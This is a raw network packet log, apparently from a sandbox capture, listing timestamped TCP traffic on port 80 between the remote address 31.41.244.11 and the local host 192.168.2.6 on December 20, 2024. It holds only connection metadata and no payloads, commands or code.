Dec 20, 2024 21:13:26.230267048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.230391979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.230602026 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.231437922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.231544971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.231554031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.231733084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.232624054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.232731104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.232752085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.232801914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.233795881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.233937025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.233944893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.234395981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.235002041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.235146046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.235344887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.236141920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.236228943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.236253023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.236362934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.237332106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.237427950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.237442970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.237644911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.238524914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.238621950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.238646984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.238801956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.239685059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.239799976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.239871979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.240849018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.240972042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.240997076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.241161108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.242117882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.242208004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.242242098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.242286921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.376594067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.376662970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.376687050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.376718044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.377135992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.377254009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.377258062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.377459049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.378288031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.378416061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.378539085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.379537106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.379678011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.379714966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.379751921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.380640030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.380881071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.380995989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.381800890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.381915092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.381951094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.382420063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.382985115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.383090973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.383107901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.383167028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.384172916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.384330988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.384330988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.384418964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.385370970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.385451078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.385560036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.386504889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.386584044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.387278080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.387800932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.387902975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.387924910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.387985945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.388869047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.388932943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.388951063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.389043093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.390052080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.390192032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.390194893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.390729904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.391238928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.391352892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.391369104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.391593933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.392446995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.392561913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.392580032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.392674923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.393667936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.393790960 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.393805027 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.393883944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.394762039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.394928932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.394953012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.395195961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.396053076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.396162033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.396224022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.396224022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.397166014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.397248983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.397248983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.397322893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.398334026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.398505926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.398827076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.399492025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.399696112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.399701118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.399795055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.400655031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.400795937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.400856972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.401832104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.401927948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.401956081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.402081966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.403023005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.403139114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.403213024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.404225111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.404349089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.404467106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.404648066 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.405401945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.405507088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.405709982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.405709982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.407351971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.407461882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.407592058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.408477068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.408562899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.408633947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.408757925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.409353018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.409410000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.409466982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.409497976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.410192966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.410299063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.410305023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.410481930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.411262989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.411349058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.411371946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.412425995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.412483931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.412540913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.412928104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.413611889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.413702965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.413913012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.414783955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.414885998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.414913893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.415057898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.416148901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.416228056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.416333914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.416414976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.417541027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.417740107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.417799950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.417829990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.419095039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.419163942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.419229984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.419230938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.420222044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.420290947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.420375109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.420499086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.421449900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.421542883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.421624899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.421624899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.422557116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.422739983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.422882080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.423713923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.423835993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.423887014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.424766064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.424768925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.424832106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.424871922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.425703049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.425764084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.425823927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.425983906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.426786900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.426867008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.427046061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.427768946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.427874088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.427916050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.428033113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.428935051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.429088116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.429120064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.429483891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.430078983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.430197954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.430218935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.430345058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.431265116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.431438923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.431463957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.431828022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.432476044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.432559013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.432573080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.433084965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.433685064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.433787107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.433830976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.433996916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.434803009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.434895039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.434936047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.435226917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.435987949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.436106920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.436145067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.436331034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.437205076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.437336922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.438327074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.438376904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.438630104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.569523096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.569610119 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.569634914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.569839954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.569856882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.569997072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.570035934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.570207119 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.571003914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.571139097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.571167946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.571257114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.572257996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.572350979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.572352886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.572539091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.573369026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.573456049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.573499918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.573692083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.574548006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.574639082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.574691057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.574707985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.575706959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.575792074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.575828075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.575999022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.576967001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.577054977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.577078104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.577290058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.578365088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.578520060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.578551054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.578596115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.579519987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.579613924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.579716921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.580754995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.580879927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.580919027 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.581109047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.581845999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.581891060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.581954956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.582149029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.582778931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.582856894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.583244085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.584007978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.584080935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.584131002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.584163904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.585136890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.585231066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.585333109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.585442066 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.586298943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.586395025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.586436987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.586502075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.587495089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.587634087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.587662935 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.587716103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.588676929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.588751078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.588797092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.588879108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.589847088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.589936972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.590015888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.591016054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.591125965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.591141939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.591269016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.592185974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.592284918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.592331886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.592417002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.593363047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.593472958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.593679905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.594547033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.594687939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.594697952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.595338106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.595758915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.595880032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.595910072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.595978022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.596935034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.597081900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.597112894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.597857952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.598082066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.598133087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.598232031 CET	49887	80	192.168.2.6	31.41.244.11
